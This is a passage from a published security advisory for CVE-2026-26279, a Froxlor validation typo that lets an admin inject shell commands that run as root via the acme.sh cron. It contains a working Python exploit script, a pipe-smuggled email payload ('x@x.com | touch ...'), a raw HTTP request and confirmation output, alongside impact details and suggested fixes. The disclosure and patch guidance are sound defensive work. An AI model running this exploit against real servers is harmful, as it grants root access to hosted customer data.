 },\n            allow_redirects=True,\n        )\n        print(f\"[+] Settings updated (HTTP {resp.status_code})\")\n        return resp.status_code == 200\n\n    def trigger_acmesh_install(self):\n        \"\"\"\n        Trigger acme.sh installation by enabling Let\u0027s Encrypt\n        and ensuring acme.sh path is invalid.\n        \"\"\"\n        print(\"[*] Triggering acme.sh installation path...\")\n        print(\"[*] In production, this happens automatically when:\")\n        print(\"    - Let\u0027s Encrypt is enabled (system.le_froxlor_enabled=1)\")\n        print(\"    - acme.sh binary is not found at configured path\")\n        print(\"    - Cron job runs (every 5 minutes)\")\n        print()\n        print(\"[*] To manually trigger:\")\n        print(\"    docker exec froxlor-web php /var/www/html/froxlor/bin/froxlor-cli froxlor:cron --force\")\n\n    def exploit(self, command):\n        \"\"\"Full exploitation: inject \u2192 trigger \u2192 RCE.\"\"\"\n        payload = f\"x@x.com | {command}\"\n        self.inject_email(payload)\n\n        print()\n        print(\"[*] Command chain that will execute as root:\")\n        print(f\"    wget -O - https://get.acme.sh | sh -s email={payload}\")\n        print()\n        print(\"[*] This decomposes to:\")\n        print(f\"    1. wget -O - https://get.acme.sh\")\n        print(f\"    2. | sh -s email=x@x.com\")\n        print(f\"    3. | {command}\")\n        print()\n\n        self.trigger_acmesh_install()\n\n    def restore(self, original=\"admin@test.local\"):\n        \"\"\"Restore original admin email.\"\"\"\n        print(f\"\\n[*] Restoring original email: {original}\")\n        csrf = self.get_csrf(f\"{self.target}/admin_settings.php?page=overview\u0026part=panel\")\n        self.session.post(\n            f\"{self.target}/admin_settings.php?page=overview\u0026part=panel\",\n            data={\n                \"csrf_token\": csrf,\n                \"send\": \"send\",\n                \"page\": \"overview\",\n                \"panel_adminmail\": original,\n            },\n        )\n        print(\"[+] Restored\")\n\n\ndef demo():\n    \"\"\"Offline demonstration of the vulnerability mechanics.\"\"\"\n    print(\"[*] Demonstrating VULN-2 mechanics (offline)...\\n\")\n\n    adminmail = \"x@x.com | touch /tmp/ROOT_RCE_PROOF\"\n    full_cmd = f\"wget -O - https://get.acme.sh | sh -s email={adminmail}\"\n\n    print(f\"  admin email:  {adminmail}\")\n    print(f\"  full command: {full_cmd}\")\n    print()\n\n    # Simulate safe_exec filter\n    disallowed = [\u0027;\u0027, \u0027|\u0027, \u0027\u0026\u0027, \u0027\u003e\u0027, \u0027\u003c\u0027, \u0027`\u0027, \u0027$\u0027, \u0027~\u0027, \u0027?\u0027]\n    allowed_chars = [\u0027|\u0027]\n\n    print(\"  safe_exec() filter check:\")\n    blocked = False\n    for char in disallowed:\n        if char in full_cmd:\n            if char in allowed_chars:\n                print(f\"    \u0027{char}\u0027 \u2192 ALLOWED (in allowedChars)\")\n            else:\n                print(f\"    \u0027{char}\u0027 \u2192 BLOCKED\")\n                blocked = True\n\n    print()\n    if not blocked:\n        print(\"  RESULT: Command passes safe_exec() filter!\")\n        print(\"  The pipe character chains our command after the wget/sh pipeline\")\n        print()\n        print(\"  Execution breakdown:\")\n        print(\"    Process 1: wget downloads acme.sh installer\")\n        print(\"    Process 2: sh runs installer with email parameter\")\n        print(\"    Process 3: touch /tmp/ROOT_RCE_PROOF \u2190 OUR COMMAND (as root)\")\n    else:\n        # In practice the payload above should only have | which is allowed\n        print(\"  NOTE: Some characters blocked. Adjust payload to use only pipe.\")\n\n    print()\n    print(\"  NOTE: The cron job runs as root, so the injected command\")\n    print(\"  executes with root privileges on the host system.\")\n\n\ndef main():\n    print(BANNER)\n\n    parser = argparse.ArgumentParser(description=\"Froxlor v2.3.3 Root RCE PoC\")\n    parser.add_argument(\"--target\", \"-t\", help=\"Froxlor URL\")\n    parser.add_argument(\"--user\", \"-u\", help=\"Admin username\")\n    parser.add_argument(\"--password\", \"-p\", help=\"Admin password\")\n    parser.add_argument(\"--command\", \"-c\", default=\"touch /tmp/ROOT_RCE_PROOF\",\n                        help=\"Command to execute as root\")\n    parser.add_argument(\"--restore\", action=\"store_true\", help=\"Restore original email after exploit\")\n    parser.add_argument(\"--demo\", action=\"store_true\", help=\"Run offline demonstration\")\n    args = parser.parse_args()\n\n    if args.demo:\n        demo()\n        return\n\n    if not all([args.target, args.user, args.password]):\n        print(\"[!] --target, --user, and --password required (or use --demo)\")\n        sys.exit(1)\n\n    exploit = FroxlorRCE(args.target)\n    if not exploit.login(args.user, args.password):\n        sys.exit(1)\n\n    exploit.exploit(args.command)\n\n    if args.restore:\n        exploit.restore()\n\n\nif __name__ == \"__main__\":\n    main()\n\n```\n\n**Output:**\n```\nadmin@example.com                         buggy=PASS    fixed=PASS\nnot-an-email                              buggy=PASS    fixed=REJECT\nx@x.com | touch /tmp/pwned               buggy=PASS    fixed=REJECT\n```\n\n### Step 2: Confirm value stored in database\n\n```\nPOST /admin_settings.php?page=overview\u0026part=panel HTTP/1.1\nCookie: [authenticated admin session]\n\ncsrf_token=...\u0026send=send\u0026page=overview\u0026panel_adminmail=x@x.com+|+touch+/tmp/VULN2_RCE_PROOF\n```\n\n```sql\nmysql\u003e SELECT value FROM panel_settings\n       WHERE settinggroup=\u0027panel\u0027 AND varname=\u0027adminmail\u0027;\n+-------------------------------------------+\n| value                                     |\n+-------------------------------------------+\n| x@x.com | touch /tmp/VULN2_RCE_PROOF     |\n+-------------------------------------------+\n```\n\n### Step 3: Confirm root code execution\n\nSimulating AcmeSh.php line 428 inside the Docker container:\n\n```php\n\u003c?php\n// Exact simulation of the vulnerable code path\n$adminmail = \"x@x.com | touch /tmp/VULN2_RCE_PROOF\";\n$cmd = \"echo DOWNLOAD_SIM | cat -s email=\" . $adminmail;\n\n// safe_exec filter with pipe allowed (matches AcmeSh.php:428)\n$disallowed = [\u0027;\u0027, \u0027|\u0027, \u0027\u0026\u0027, \u0027\u003e\u0027, \u0027\u003c\u0027, \u0027`\u0027, \u0027$\u0027, \u0027~\u0027, \u0027?\u0027];\n$allowedChars = [\u0027|\u0027];\nforeach ($disallowed as $dc) {\n    if (in_array($dc, $allowedChars)) continue;\n    if (stristr($cmd, $dc)) die(\"BLOCKED by: $dc\");\n}\n\nexec($cmd);  // pipe passes filter \u2192 command executes\necho file_exists(\"/tmp/VULN2_RCE_PROOF\") ? \"RCE CONFIRMED\" : \"NOT CREATED\";\n```\n\n**Result:**\n```\nRCE CONFIRMED\n\n$ ls -la /tmp/VULN2_RCE_PROOF\n-rw-r--r-- 1 root root 0 Feb 11 05:58 /tmp/VULN2_RCE_PROOF\n```\n\nFile created with **root:root** ownership. Arbitrary command execution as root is confirmed.\n\n---\n\n## Impact\n\n- **Confidentiality:** Complete. Root access exposes all customer data, databases, SSL private keys, email contents.\n- **Integrity:** Complete. Attacker can modify any file, inject backdoors, alter DNS records.\n- **Availability:** Complete. Attacker can destroy the server, wipe databases, or deploy ransomware.\n- **Scope:** Changed. The attack originates in the web application but impacts the underlying operating system.\n\n---\n\n## Suggested Fix\n\n### Primary fix (Bug 1 \u2014 eliminates the root cause):\n```php\n// lib/Froxlor/Validate/Form/Data.php\n// Line 169:\n$fielddata[\u0027string_type\u0027] = \u0027mail\u0027;    // was: == \u0027mail\u0027\n// Line 175:\n$fielddata[\u0027string_type\u0027] = \u0027url\u0027;     // was: == \u0027url\u0027\n```\n\n### Defense-in-depth (Bug 2 \u2014 even if validation is fixed):\n```php\n// lib/Froxlor/Cron/Http/LetsEncrypt/AcmeSh.php, Line 428:\nFileDir::safe_exec(\n    \"wget -O - https://get.acme.sh | sh -s email=\"\n        . escapeshellarg(Settings::Get(\u0027panel.adminmail\u0027)),\n    $return,\n    [\u0027|\u0027]\n);\n```\n\n### Defense-in-depth (ConfigServices.php):\n```php\n// All values in getReplacerArray() should be escaped with\n// escapeshellarg() when the template action type is \"install\" or \"command\"\n```",
  "id": "GHSA-33mp-8p67-xj7c",
  "modified": "2026-03-04T01:59:59Z",
  "published": "2026-03-03T17:40:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/Froxlor/security/advisories/GHSA-33mp-8p67-xj7c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26279"
    },
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/commit/22249677107f8f39f8d4a238605641e87dab4343"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/froxlor/froxlor"
    },
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/releases/tag/2.3.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Froxlor has Admin-to-Root Privilege Escalation via Input Validation Bypass + OS Command Injection"
}

CVE-2026-26279 (GCVE-0-2026-26279)

Vulnerability from cvelistv5 – Published: 2026-03-03 22:31 – Updated: 2026-03-04 16:13

Title

Froxlor Admin-to-Root Privilege Escalation via Input Validation Bypass + OS Command Injection

Summary

Froxlor is open source server administration software. Prior to 2.3.4, a typo in Froxlor's input validation code (== instead of =) completely disables email format checking for all settings fields declared as email type. This allows an authenticated admin to store arbitrary strings in the panel.adminmail setting. This value is later concatenated into a shell command executed as root by a cron job, where the pipe character | is explicitly whitelisted. The result is full root-level Remote Code Execution. This vulnerability is fixed in 2.3.4.

Severity ?

9.1 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
CWE-482 - Comparing instead of Assigning

Assigner

GitHub_M

References

URL

	Vendor	Product	Version
	froxlor	Froxlor	Affected: < 2.3.4

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-33MP-8P67-XJ7C

Summary

Why This Is a Security Vulnerability (Not Just "Admin Using Admin Features")

Vulnerability Details

Bug 1: Input Validation Bypass (CWE-482)

Bug 2: OS Command Injection via acme.sh Installation (CWE-78)

The Chain

Proof of Concept

Environment

Step 1: Confirm validation bypass

Step 2: Confirm value stored in database

Step 3: Confirm root code execution

Impact

Suggested Fix

Primary fix (Bug 1 — eliminates the root cause):

Defense-in-depth (Bug 2 — even if validation is fixed):

Defense-in-depth (ConfigServices.php):

CVE-2026-26279 (GCVE-0-2026-26279)

Tags

Sightings

Nomenclature